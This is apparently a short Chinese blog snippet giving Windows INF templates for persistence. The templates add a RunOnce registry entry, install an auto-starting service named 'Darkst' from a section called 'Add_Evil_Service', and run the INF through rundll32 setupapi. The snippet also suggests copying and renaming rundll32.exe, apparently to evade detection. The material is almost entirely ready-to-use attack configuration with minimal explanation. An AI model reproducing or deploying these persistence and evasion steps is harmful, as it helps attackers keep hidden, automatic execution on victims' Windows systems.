写注册表


[Version] Signature="$CHICAGO$" [DefaultInstall] AddReg=test [test] HKCU,Software\Microsoft\Windows\CurrentVersion\RunOnce,test,0,"C:\test.exe"

 

 

inf安装服务

[Version]
Signature="$WINDOWS NT$"

[DefaultInstall.Services]
AddService=Darkst,,Add_Evil_Service ;服务名称

[Add_Evil_Service]
DisplayName=Darkst ;显示名称
Description=Tested By Miku_fl0 ;服务描述
ServiceType=0x10 ;服务类型
StartType=2 ;启动类型
ErrorControl=0 ;错误控制
ServiceBinary=C:\windows\rav.exe ;服务要加载的exe文件路径 

 CMD 代码

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 C:\inst.inf 

 也可以将 system32目录下的rundll32.exe 目录下的文件复制出来改名 运行

 

 

相关文章:

  • 2021-10-17
  • 2021-10-24
  • 2021-09-01
  • 2021-04-04
  • 2021-07-29
  • 2021-10-14
猜你喜欢
  • 2021-11-23
  • 2022-02-07
  • 2021-09-19
  • 2021-12-07
  • 2021-12-13
  • 2021-06-04
  • 2021-09-30
相关资源
相似解决方案